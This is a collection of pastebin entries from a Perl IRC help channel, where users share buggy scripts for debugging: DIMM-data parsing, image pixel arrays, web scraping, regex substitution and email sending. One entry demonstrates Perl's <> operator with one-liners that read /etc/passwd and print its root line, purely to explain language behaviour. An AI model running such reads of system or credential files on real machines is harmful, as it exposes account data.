    print $fh "Name  : ", $data{name},    "\n";
    print $fh "Email : ", $data{email},   "\n";
    print $fh "Subj  : ", $data{subject}, "\n";
    print $fh "Text  : ", $data{textbox}, "\n\n";
    print $fh Dumper \%data;
    
    chown $uid, $gid, $filename;
    close $fh;
    
    $c->render(text => Dumper \%data);
    
    # redirect the person to the success page!
};


paste:
use Mojolicious::Lite;
use Data::Dumper;

# Get logging information
my $filename = "contact_form.txt";

get '/' => sub {
    my $c = shift;
    my %data;
    # $data{name}    = $q->param('fullname');
    $data{name}    = $c->param('fullname');
    $data{email}   = $c->param('email');
    $data{subject} = $c->param('subject');
    $data{textbox} = $c->param('message');
    
    
    # print out the data to the file
    open (my $fh, ">>", $filename) || die "Failed to open $filename: $!";
    
    print $fh "Name  : ", $data{name},    "\n";
    print $fh "Email : ", $data{email},   "\n";
    print $fh "Subj  : ", $data{subject}, "\n";
    print $fh "Text  : ", $data{textbox}, "\n\n";
    print $fh Dumper \%data;
    
    close $fh;
    
    $c->render(text => Dumper \%data);
    
    # redirect the person to the success page!
};

app->start;


who: OneBadMofoer
where: localhost:perlbot:#perl
paste:
      Memory DIMM:
        Record Name.................VINI
        Flag Field..................XXMS
        Hardware Location Code......U78A0.001.DNWGCXF-P1-C13-C2
        Customer Card ID Number.....31A6
        Serial Number...............YLD582910295
        CCIN Extender...............1
        Product Specific.(VZ).......01
        FRU Number..................7751925
        Part Number.................7592915
        Power.......................4400000000000000
        Size........................4096
        Version.....................ipzSeries
      Physical Location: U78A0.001.DNWGCXF-P1-C13-C2

      Memory DIMM:
        Record Name.................VINI
        Flag Field..................XXMS
        Hardware Location Code......U78A0.001.DNWGCXF-P1-C13-C4
        Customer Card ID Number.....31A6
        Serial Number...............YLD058129852
        CCIN Extender...............1
        Product Specific.(VZ).......01
        FRU Number..................7758128
        Part Number.................7751275
        Power.......................4400000000000000
        Size........................4096
        Version.....................ipzSeries
      Physical Location: U78A0.001.DNWGCXF-P1-C13-C4

      Memory DIMM:
        Record Name.................VINI
        Flag Field..................XXMS
        Hardware Location Code......U78A0.001.DNWGCXF-P1-C13-C7
        Customer Card ID Number.....31A6
        Serial Number...............YLD00481294
        CCIN Extender...............1
        Product Specific.(VZ).......01
        FRU Number..................7757182
        Part Number.................7758125
        Power.......................4400000000000000
        Size........................4096
        Version.....................ipzSeries
      Physical Location: U78A0.001.DNWGCXF-P1-C13-C7


who: ningu
where: localhost:perlbot:#perl
paste:
use strict;
use warnings;

my @dimms;
my %current_dimm;

open my $fh, '-|', $command or die $!;

while (<$fh>) {
    chomp;
    
    if (/Memory DIMM/) {
        push_dimm();
    }
    elsif (/^\s+([a-zA-Z() .]+?)\.{2,}(.+)$/) {
        $current_dimm{$1} = $2;
    }
}

close $fh;

push_dimm();

sub push_dimm {
    push @dimms, \%current_dimm if %current_dimm;
    %current_dimm = ();
}


who: OneBadMofoer
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use warnings;
use Data::Dumper qw(Dumper);
use 5.010;

my @dimms;
my %current_dimm;


open my $fh, '-|', "lscfg -vp | grep -p DIMM" or die $!;

while (<$fh>) {
    chomp;
    
    if (/Memory DIMM/) {
        push_dimm();
    }
    elsif (/^\s+([a-zA-Z() .]+?)\.{2,}(.+)$/) {
        $current_dimm{$1} = $2;
    }
}

close $fh;

push_dimm();

sub push_dimm {
    push @dimms, \%current_dimm if %current_dimm;
    %current_dimm = ();
}


foreach my $n (@dimms) {
	print Dumper $n;
}



##########
results:
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
$VAR1 = {};
    


where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use warnings;
use Data::Dumper qw(Dumper);
use 5.010;

my @dimms;
my $current_dimm;


open my $fh, '-|', "lscfg -vp | grep -p DIMM" or die $!;

while (<$fh>) {
    chomp;
    
    if (/Memory DIMM/) {
        push_dimm();
    }
    elsif (/^\s+([a-zA-Z() .]+?)\.{2,}(.+)$/) {
        $current_dimm->{$1} = $2;
    }
}

close $fh;

push_dimm();

sub push_dimm {
    push @dimms, $current_dimm if %$current_dimm;
    $current_dimm = {};
}


foreach my $n (@dimms) {
	print Dumper $n;
}


who: ningu
where: localhost:perlbot-magnet:#perl
what: fixed
paste:
#!/usr/bin/perl

use strict;
use warnings;
use Data::Dumper qw(Dumper);
use 5.010;

my @dimms;
my $current_dimm = {};


open my $fh, '-|', "lscfg -vp | grep -p DIMM" or die $!;

while (<$fh>) {
    chomp;
    
    if (/Memory DIMM/) {
        push_dimm();
    }
    elsif (/^\s+([a-zA-Z() .]+?)\.{2,}(.+)$/) {
        $current_dimm->{$1} = $2;
    }
}

close $fh;

push_dimm();

sub push_dimm {
    push @dimms, $current_dimm if %$current_dimm;
    $current_dimm = {};
}


foreach my $n (@dimms) {
	print Dumper $n;
}


who: lroe
where: localhost:perlbot:#perl
what: I am trying to get a sha1 hash
paste:
#!/usr/bin/perl
use strict;
use warnings;
use WWW::Curl::Easy;
use Digest::SHA qw(sha1);

my $user = "mus3";
my $action = "get";
my $key = 'supersecretkey';
my $now = time();
my $salt='thisisasalt';
print "$salt$key$now";
my $hash = sha1("$salt$key$now");
print "\n";
print ref($hash);
my $url = "$action/$user/$hash/";


==OUTPUT==
thisisasaltsupersecretkey1488310391
get/mus3/��rXJ�!���X��#FLu��/


where: localhost:perlbot:#perl
paste:
        when( /^${t}deadline/ ) {
            $future = Time::Piece->strptime("03/01/2017", "%m/%d/%Y");
            $now = localtime;
            $diff = $future - $now;
            $days = int($diff->days);
            @ret = "\x02$days\x02 days until the Trade Deadline on Mar. 1st 2017 @ 3:00 PM EST\n";
            }
## I am looking to change this into an hh:mm:ss countdown clock, where the future deadline is Wed Mar 1 - 3PM EST and the output is 23hrs 2mins 10 seconds away.


paste:
        when( /^${t}deadline/ ) {
            my $future = Time::Piece->strptime("03/01/2017 3:00 PM", "%m/%d/%Y %l:%M %p");
            my $now = Time::Piece->new;
            my $sec = $future - $now;
            print "$future";
            print "$now";
            my @diff = (($sec/(60*60))%24 , "hrs", ($sec/60)%60 , "mins", ($sec%60) , "seconds");
            @ret = "\x02@diff\x02 until the Trade Deadline on Mar. 1st 2017 @ 3:00 PM EST\n"
            }


who: gordonfish
where: localhost:perlbot:#perl
what: Why is this slow, and is there a better?
paste:

# I've boiled down the issue of the code I'm working on/fixing to the following code:
# (This comes from some old unfinished code that I wanted to update.)

use Path::Tiny;

sub get_data_list;
sub get_file_list;


my @file_list = get_file_list '.', qw(foo bar baz); # Returns around 220 files.
my %data_list = get_data_list 'data.xml';           # Returns around 190 data entries.
                                                    # (And about a grand total of 265 segments.)


my @segment_list = map {  @{ $_->{segment_list} }  } @{ $data_list{list} };


foreach my $segment ( @segment_list ) {
   foreach my $file ( @file_list ) {
      my $f_size = $file->{size};
      my $s_size = $segment->{size} // $f_size;
      
      for my $i ( 0 .. $f_size - ($s_size - 1) ) { ### <---- Around here is where it gets bogged down. ###
         my $chunk = unpack "x${i}a${s_size}", # $f->{contents}; # If I comment these two lines for reading 
         last if $s_size > length $chunk;      # then it is faster but still seems to be a bit bogged down.
      }
   }
}
# It appears that going through @file_list each time for each $segment seems slow.


sub get_data_list {
   my $data_file = shift;
   my $x =  Mojo::DOM->new( path($data_file)->slurp );
   
   die "<datalist> not found in $data_file"
      unless my $x_data_list = $x->find('datalist');
   
   my %data_list = ( %{$x_data_list->[0]}, list => [], data => {} );
   
   foreach my $x_data ( $x_data_list->[0]->find('data[name]')->each ) {
      my %data = ( %$x_data, segment_list => [] );
      
      foreach my $x_seg ( $x_data->find('segment[name]')->each ) {
         push @{ $data{segment_list} }, {
            %$x_seg, matches => [], parent => \%data
         };
      }
      
      push @{ $data_list{list} }, \%data;
      $data_list{data}->{ $x_data->{name} } = \%data;
   }
   
   return %data_list;
}


sub get_file_list {
   my ( $path, @suffix_list ) = @_;
   
   map {  +{
      name => $_->stringify,
      contents => $_->slurp_raw,
      size => $_->stat->size
   };  } grep {
      my $f = $_;
      any { $f =~ /\.\Q$_\E$/ } @suffix_list;
   } path( $path )->children;
}


who: gordonfish
where: localhost:perlbot:#perl
what: Why is this slow, and is there a better?
paste:

# I've boiled down the issue of the code I'm working on/fixing to the following code:
# (This comes from some old unfinished code that I wanted to update.)

use List::Util qw( any all );
use Path::Tiny;

sub get_data_list;
sub get_file_list;


my @file_list = get_file_list '.', qw(foo bar baz); # Returns around 220 files.
my %data_list = get_data_list 'data.xml';           # Returns around 190 data entries.
                                                    # (And about a grand total of 265 segments.)


my @segment_list = map {  @{ $_->{segment_list} }  } @{ $data_list{list} };


foreach my $segment ( @segment_list ) {
   foreach my $file ( @file_list ) {
      my $f_size = $file->{size};
      my $s_size = $segment->{size} // $f_size;
      
      for my $i ( 0 .. $f_size - ($s_size - 1) ) { ### <---- Around here is where it gets bogged down. ###
         my $chunk = unpack "x${i}a${s_size}", # $f->{contents}; # If I comment these two lines for reading 
         last if $s_size > length $chunk;      # then it is faster but still seems to be a bit bogged down.
      }
   }
}
# It appears that going through @file_list each time for each $segment seems slow.


sub get_data_list {
   my $data_file = shift;
   my $x =  Mojo::DOM->new( path($data_file)->slurp );
   
   die "<datalist> not found in $data_file"
      unless my $x_data_list = $x->find('datalist');
   
   my %data_list = ( %{$x_data_list->[0]}, list => [], data => {} );
   
   foreach my $x_data ( $x_data_list->[0]->find('data[name]')->each ) {
      my %data = ( %$x_data, segment_list => [] );
      
      foreach my $x_seg ( $x_data->find('segment[name]')->each ) {
         push @{ $data{segment_list} }, {
            %$x_seg, matches => [], parent => \%data
         };
      }
      
      push @{ $data_list{list} }, \%data;
      $data_list{data}->{ $x_data->{name} } = \%data;
   }
   
   return %data_list;
}


sub get_file_list {
   my ( $path, @suffix_list ) = @_;
   
   map {  +{
      name => $_->stringify,
      contents => $_->slurp_raw,
      size => $_->stat->size
   };  } grep {
      my $f = $_;
      any { $f =~ /\.\Q$_\E$/ } @suffix_list;
   } path( $path )->children;
}


where: localhost:perlbot:#perl
what: blocking socket
paste:
#!/usr/bin/perl


use strict;
use warnings;

use utf8;

use WWW::Mechanize;

use Data::Dumper;

my %hash_shopnamen = 
	( 
		"akyer"=>"http://akyer.de/shop/index.php/catalogsearch/result/?limit=all&q="
		,"wallerath"=>"http://www.sps-service.eu/catalogsearch/result/?q="
		,"softwerk"=> "https://www.softwerk.at/search?x=11&y=14&Keyword=" 
	);	


	my $mech = WWW::Mechanize->new(
		stack_depth => 0,  ## no history speichert RAM
		autocheck => 0,    ## 0 bedeutet manuell, 1 ist autodie on errors
		agent => "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
		cookie_jar => {},  ## Cookies akzeptieren
		timeout => 15,
	);
	
q^
	
####	my $urlsuche = "https://www.softwerk.at/search?x=11&y=14&Keyword=";

	my $suche =	"6ES7972";
		
	$urlsuche = $urlsuche . $suche ;
	
	#$mech->get($urlsuche);
	my $res = $mech->get($urlsuche);

	$res->is_success or print "ACCCCHHTTTUNG: " .$res->status_line ; print" \n";
	print "\n mech-status ist:  " . $mech->status() ;
	print "	\n";
^if 0;

my $urlsuche;
## 6ES7321  6ES7972

my $suche =	"6ES7321";		
foreach my $key (keys %hash_shopnamen ) {
	$urlsuche = $hash_shopnamen{$key} . $suche ;
	print "$key =>  $urlsuche \n";

	my $res = $mech->get($urlsuche);
	print "\n mech-status ist:  " . $mech->status() ;print"\n";
	$res->is_success or print "ACCCCHHTTTUNG: " .$res->status_line ; print" \n\n";
	

} # foreach
		
		




paste:
#!/usr/bin/perl


use strict;
use warnings;

use utf8;

use WWW::Mechanize;

use Data::Dumper;

my %hash_shopnamen = 
	( 
	()
		=> "akyer", "http://akyer.de/shop/index.php/catalogsearch/result/?limit=all&q="
		=> "wallerath", "http://www.sps-service.eu/catalogsearch/result/?q="
		=> "softwerk", "https://www.softwerk.at/search?x=11&y=14&Keyword=" 
	);	


	my $mech = WWW::Mechanize->new(
	()
	    => 'stack_depth', 0  ## no history speichert RAM
		=> 'autocheck', 0    ## 0 bedeutet manuell, 1 ist autodie on errors
		=> 'agent', "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"
		=> 'cookie_jar', {}  ## Cookies akzeptieren
		=> 'timeout', 15
	);
	
q^
	
####	my $urlsuche = "https://www.softwerk.at/search?x=11&y=14&Keyword=";

	my $suche =	"6ES7972";
		
	$urlsuche = $urlsuche . $suche ;
	
	#$mech->get($urlsuche);
	my $res = $mech->get($urlsuche);

	$res->is_success or print "ACCCCHHTTTUNG: " .$res->status_line ; print" \n";
	print "\n mech-status ist:  " . $mech->status() ;
	print "	\n";
^if 0;

my $urlsuche;
## 6ES7321  6ES7972

my $suche =	"6ES7321";		
foreach my $key (keys %hash_shopnamen ) {
	$urlsuche = $hash_shopnamen{$key} . $suche ;
	print "$key =>  $urlsuche \n";

	my $res = $mech->get($urlsuche);
	print "\n mech-status ist:  " . $mech->status() ;print"\n";
	$res->is_success or print "ACCCCHHTTTUNG: " .$res->status_line ; print" \n\n";
	

} # foreach
		
		




where: localhost:perlbot:#perl
paste:
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/img.jpg";

$read_image->read(file=>$image_source)
  or die Imager->errstr();

my $width;
my $height;


#Here is an @array array that gets the x,y pixels of the image read in $read_image, right?
my @array = map [$read_image->getpixel(x => [0 .. $width], y => $_)], 0 .. $height; # probably

#How to access this array?
#What I want is, if the image is 3 in height and 3 in width, then something like:
#@array = [0, 0, 1
#          0, 0, 1
#          0, 1, 0]

#Sorry for the inconvenience, it's that I'm having trouble understanding perl xd


who: canned
where: localhost:perlbot:#perl
what: find hanging on high level folders
paste:
# @paths grabbed from command-line argument(s)
foreach $path (@paths) {
    push(@results,get_files($path));
}

# get_files subroutine with the relevant find() function
sub get_files {
    my $dir = shift;
    my @files;

	if ($dir && -d $dir) {
  	find({ wanted => sub { push @files, $_ } , no_chdir => 1 }, $dir);
  	return @files;
	} else {
		warn "WARNING: No path provided for file retrieval.\n";
		return 0;
	}
}


paste:
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/img.jpg";

$read_image->read(file=>$image_source)
  or die Imager->errstr();

my $scaled_image = $read_image->scaleX(pixels=>100)->scaleY(pixels=>100);


my $width;
my $height;


#Here is an @array array that gets the x,y pixels of the image read in $read_image, right?
my @array = map [$scaled_image->getpixel(x => [0 .. $width], y => $_)], 0 .. $height; # probably

#How to access this array?
#What I want is, if the image is 3 in height and 3 in width, then something like:
#@array = [0, 0, 1
#          0, 0, 1
#          0, 1, 0]

#Sorry for the inconvenience, it's that I'm having trouble understanding perl xd


paste:
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/img.jpg";

$read_image->read(file=>$image_source)
  or die Imager->errstr();


my $width = $read_image->getwidth;
my $height = $read_image->getheight;

#Here is an @array array that gets the x,y pixels of the image read in $read_image, right?
my @array = map [$read_image->getpixel(x => [0 .. $width], y => $_)], 0 .. $height; # probably

my $i = 0;
foreach (@array){
print "$i - $_ \n";
$i++;
}
#This prints me an array with 100 items, 
#but the array would have to have 1000 items since it is a 100x100 image, 
#is that array not multidimensional? Or am I printing it the wrong way?


#How to access this array?
#What I want is, if the image is 3 in height and 3 in width, then something like:
#@array = [0, 0, 1
#          0, 0, 1
#          0, 1, 0]

#Sorry for the inconvenience, it's that I'm having trouble understanding perl xd


who: Botje
where: localhost:perlbot:#perl
what: simple demo
paste:
mang% perl -E 'shift; say(scalar <>)' doesnotexit /etc/passwd
root:x:0:0:root:/root:/bin/bash

mang% perl -E 'say(scalar <>)' doesnotexit /etc/passwd
Can't open doesnotexit: No such file or directory at -e line 1.
root:x:0:0:root:/root:/bin/bash


who: genio
where: localhost:perlbot:#perl
what: perlbrew upgrade of 5.24 failing
paste:
# Upgrading perl-5.24.0 to 5.24.1
# MacOS Sierra
macmini:~ me$ perl -v

This is perl 5, version 24, subversion 0 (v5.24.0) built for darwin-2level
(with 1 registered patch, see perl -V for more detail)

macmini:~ me$ perlbrew install-patchperl
macmini:~ me$ perlbrew perl-upgrade

...



../dist/Tie-File/t/42_offset.t .................................... ok
../dist/Time-HiRes/t/alarm.t ...................................... ok
Time::HiRes::clock_nanosleep(): unimplemented in this platform at t/clock.t line 74.
# Looks like you planned 5 tests but ran 3.
# Looks like your test exited with 60 just after 3.
../dist/Time-HiRes/t/clock.t ......................................
Dubious, test returned 60 (wstat 15360, 0x3c00)
Failed 2/5 subtests
../dist/Time-HiRes/t/gettimeofday.t ............................... ok
../dist/Time-HiRes/t/itimer.t ..................................... ok


who: harks
where: localhost:perlbot:#perl
paste:
$_="a";
my $v="\$1";
s/(.)/$v/g; #I'd rater substitute with the parrent expression here - if that is possible
print "$_\n";


who: harks
where: localhost:perlbot:#perl
paste:
use Data::Munge;

$_="aabbaa";
my $v="1";
my $dest="[^5]";
replace($_,$dest,$v,'g');
print "$_\n";


paste:
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/img.png"; 

$read_image->read(file=>$image_source)
  or die Imager->errstr();
 

my $width = $read_image->getwidth;
my $height = $read_image->getheight;

#Here is an @array array that gets the x,y pixels of the image read in $read_image, right?
my @array = map [$read_image->getpixel(x => [0 .. $width-1], y => $_)], 0 .. $height-1;

print "$array[1][1]\n"; 

use Data::Dumper qw(Dumper);
print Dumper \@array;

#I'm getting it, but I'm getting those lines, 
#and what I thought was 0 and 1 (0 for white and 1 for black) 
#how do I have to convert to a binary image? Can you do that in Imager?


who: bhelit
where: localhost:perlbot:#perl
what: does the code look sane?
paste:
use strict; use warnings;
use Email::Sender::Simple qw(sendmail);
use Email::Sender::Transport::SMTP::TLS qw();
use Email::Simple;
use Try::Tiny;

my $trans = Email::Sender::Transport::SMTP::TLS->new(
    host => 'smtp.gmail.com',
    port => '465',
    username => 'employer@gmail.com',
    password => $password,
);

my $email = Email::Simple->create(
    header => [
        To => 'employee@gmail.com',
        From => 'employer@gmail.com',
        Subject => "Paystub",
    ],
    body => "Pay Stub attached as a pdf\n",
);
try {
    sendmail($email, { transport => $trans });
} catch {
    die "Error sending email: $_";
};
# GMAIL ###################################################
# The outgoing SMTP server, smtp.gmail.com, requires TLS.
# Use port 465, or port 587 if your client begins with plain
# text before issuing the STARTTLS command.


who: harks
where: localhost:perlbot:#perl
what: What am I doing wrong?
paste:
use Data::Munge;
use utf8;

my $sc="\s(foo)\s";
my $string=replace(" foo ",$sc, "",'');
print "$string\n"; #I'd expect "  "


who: jeansen
where: localhost:perlbot:#perl
what: Process finished with 139 ...11: SIGSEGV
paste:
#!/usr/local/bin/perl
#
use strict;
use warnings FATAL => 'all';
use autodie;
use 5.24.1;
use utf8;

use open ':std', ':encoding(UTF-8)';
use lib ('/usr/lib/x86_64-linux-gnu/perl/5.24.1/');
require "sys/syscall.ph";




sub xcall {

    my $struct_statfs = pack( "Q5", () );
    my $path = '/';

    syscall( &SYS_statfs, $path, $struct_statfs );

    my @a = ( unpack( "Q5", $struct_statfs ) );
    say $_ for @a;

}

xcall;


who: mauke
where: localhost:perlbot:#perl
paste:
use strict;
use warnings;

use Data::Munge qw(list2re);

my %prefix = (
    'Server'   => 'se',
    'Compiler' => 'co',
    'Browser'  => 'br',
    'OpSys'    => 'os',
);

my $prefix_re = list2re keys %prefix;

my $input = "BLA/Server/Banana/Compiler/Orange 4";

my @result;
while ($input =~ m{($prefix_re)/([^/]+)}g) {
    push @result, "$prefix{$1}_$2";
}

print join(':', @result), "\n";


paste:
use strict;
use warnings;

use Data::Munge qw(list2re);

my %prefix = (
    'Server'   => 'se',
    'Compiler' => 'co',
    'Browser'  => 'br',
    'OpSys'    => 'os',
);

my $prefix_re = list2re keys %prefix;

my $input = "BLA/Compiler/Orange 4";

my @result;
while ($input =~ m{($prefix_re)/([^/]+)}g) {
    push @result, "$prefix{$1}_$2";
}

print join(':', @result), "\n";


paste:
use strict;
use warnings;

use Data::Munge qw(list2re);

sub parse_name 
{
    my ($input) = @_;
    
    my %prefix = (
        'Server'   => 'se',
        'Compiler' => 'co',
        'Browser'  => 'br',
        'OpSys'    => 'os',
    );

    my @result;
    my $prefix_re = list2re keys %prefix;

    while ($input =~ m{($prefix_re)/([^/]+)}g) {
        push @result, "$prefix{$1}_$2";
    }
    
    return join(':', @result), scalar @result;
}

my $input = "BLA/Compiler/Orange 4";
my ($result, $size) = parse_name($input);
print $result."\n";

$input = "BLA/Server/Banana/Compiler/Orange 4";
($result, $size) = parse_name($input);
print $result."\n";

$input = "BLA/Browser/";
($result, $size) = parse_name($input);
print $result."\n";


where: localhost:perlbot:#perl
paste:
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/tutorial3.png"; # "shift" from the command-line
$read_image->read(file=>$image_source)
  or die Imager->errstr();
 
# the scale() method always does a proportional scale, we don't want
# that here
my $scaled_image = $read_image->scaleX(pixels=>10)->scaleY(pixels=>10);
 
$scaled_image->box(xmin => 20, ymin => 20, xmax => 79, ymax => 79,
            filled => 1, color => 'green');
 
$scaled_image->write(file=>'tutorial3.png')
   or die Imager->errstr();

my $width = $read_image->getwidth;
my $height = $read_image->getheight;
my @array = map [$read_image->getpixel(x => [0 .. $width-1], y => $_)], 0 .. $height-1; # probably

print "$array[1][1]\n"; 

use Data::Dumper qw(Dumper);
print Dumper \@array;

#I'm getting this:

Imager::Color=SCALAR(0xa1fcd2c)
$VAR1 = [
          [
            bless( do{\(my $o = 172857760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854472)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859832)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859848)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854944)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854960)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854976)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854992)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854760)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169855296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855408)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860136)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860152)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860168)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860184)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860200)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860216)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860280)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860312)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860328)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860344)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860408)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860424)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860504)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860520)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860536)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860552)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860568)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860584)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860600)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860616)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860632)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860696)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860712)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860728)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860744)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860776)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860792)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860808)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860824)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860840)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860904)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860920)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860936)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860952)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860968)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860984)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861000)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861016)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861032)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861048)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861112)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861128)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861144)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861160)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861176)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861192)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861208)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861224)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861240)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861256)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861320)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861336)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861352)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861368)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861384)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861400)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861416)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861432)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861448)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861464)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861544)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861560)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861576)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195880)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195896)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854512)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854592)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169854608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854688)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861592)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861624)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861640)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861656)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861688)}, 'Imager::Color' )
          ]
        ];

#But what I need is to receive something like:

$VAR1 = [
          [
            255 ),
            128 ),
            250 ),
            0' ),
            128 ),
            56 ),
            128 ),
            0 ),
            0 ),
            253 )
          ]...
    
#So I can convert this image to a binary image, using a border, 
#if it is larger than this border is black if it is smaller then white, 
#so it would have a multidimensional array like this:

$VAR1 = [
          [
            1 ),
            0 ),
            0 ),
            1' ),
            0 ),
            1 ),
            1 ),
            0 ),
            0 ),
            1 )
          ]...
#Which would be the binary image (black and white).


paste:
#!/bin/perl

use warnings;
use strict;
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/tutorial3.png";
$read_image->read(file=>$image_source)
  or die Imager->errstr();

my $width = $read_image->getwidth;
my $height = $read_image->getheight;
my @array = map [$read_image->getpixel(x => [0 .. $width-1], y => $_)], 0 .. $height-1;
my @arrayb = map [ 0 + ( ( $_->hsv )[2] > 0.5 ) ] ;

print "$array[1][1]\n"; 

use Data::Dumper qw(Dumper);
print Dumper \@arrayb;

#I'm getting this:
$VAR1 = [];

#I still do not understand how to use this:
my @arrayb = map [ 0 + ( ( $_->hsv )[2] > 0.5 ) ] ;
#I understand that you have put a limit, 
#and that is to be applied in every pixel of the @array right?





#old
#I'm getting this:

Imager::Color=SCALAR(0xa1fcd2c)
$VAR1 = [
          [
            bless( do{\(my $o = 172857760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854472)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859832)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859848)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854944)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854960)}, 'Imager::Color' ),
